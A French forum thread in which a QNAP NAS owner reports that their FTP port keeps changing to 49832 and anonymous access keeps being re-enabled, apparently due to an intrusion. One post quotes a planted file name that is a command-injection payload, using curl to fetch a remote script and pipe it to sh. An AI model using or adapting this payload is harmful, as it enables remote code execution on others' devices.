port ftp 49832 ouvert tout seul ?

[cc66]

En essayant de me connecter normalement avant hier à mon ftp avec Filezilla (qui depuis toujours se connecte sur le port 21 parfaitement ) , cela est impossible ...

je regarde la config de mon FTP sur QTS :

le port ftp a été changé en port 49832 et la connexion anonyme est autorisée (ce que j'avais bloqué).

bon je remet tout ça un peut dubitatif,  mais aujourd'hui rebelote : le port est de nouveau 49832 et anonyme est autorisé ! (bizarre bizarre!)

Qui modifie le port de mon QNAP  : une application, un hackeur, moi sans le savoir ou un bug ?

Quid? je m'interroge?

 

ps: c'est étrange car  j'ai trouvé un site chinois qui indique la même chose (traduit par google ) mais qui bien sûr ne donne pas de solution  :

https://translate.google.com/translate?hl=fr&sl=zh-TW&u=https://www.mobile01.com/topicdetail.php%3Ff%3D494%26t%3D5571512&prev=search

 

 

[cc66]

j'ai même trouvé un étrange fichier dans le dossier "Public" nommé bizarrement : null 2>&1 ) & ) ).mp3 dans une enfilade de répertoire qui ressemble plus à du code : voir ci après:

$( ( ( PATH="$PATH":/usr/local/sbin:/usr/local/bin:/sbin:/bin; curl -vk -m 600 --connect-timeout 15 https:/q77759777.myqnapcloud.com/cgi-bin/fsqmUpXC.sh | sh/dev/null 2>&1 ) & ) ).mp3

 

avec  ce q77759777.myqnapcloud.com qui est mon adresse sur qnapcloud . (note: j'ai modifié le code 77759777 c'est pas tout à fait celui là)

 

 

Bizarre autant qu’étrange.

 

 

j'ai coupé le ftp : au moins je suis rassuré

[cc66]

 

Bon, il semble que je ne suis plus seul :

même changement de port et un accès anonymous  autorisé alors qu'il était coupé:

voir sur ce forum :

https://forum.qnap.com/viewtopic.php?t=143331

 

[cc66]

je reste donc avec le FTP désactivé (cela semble couper court à toute velléité de hacking pour l'instant!)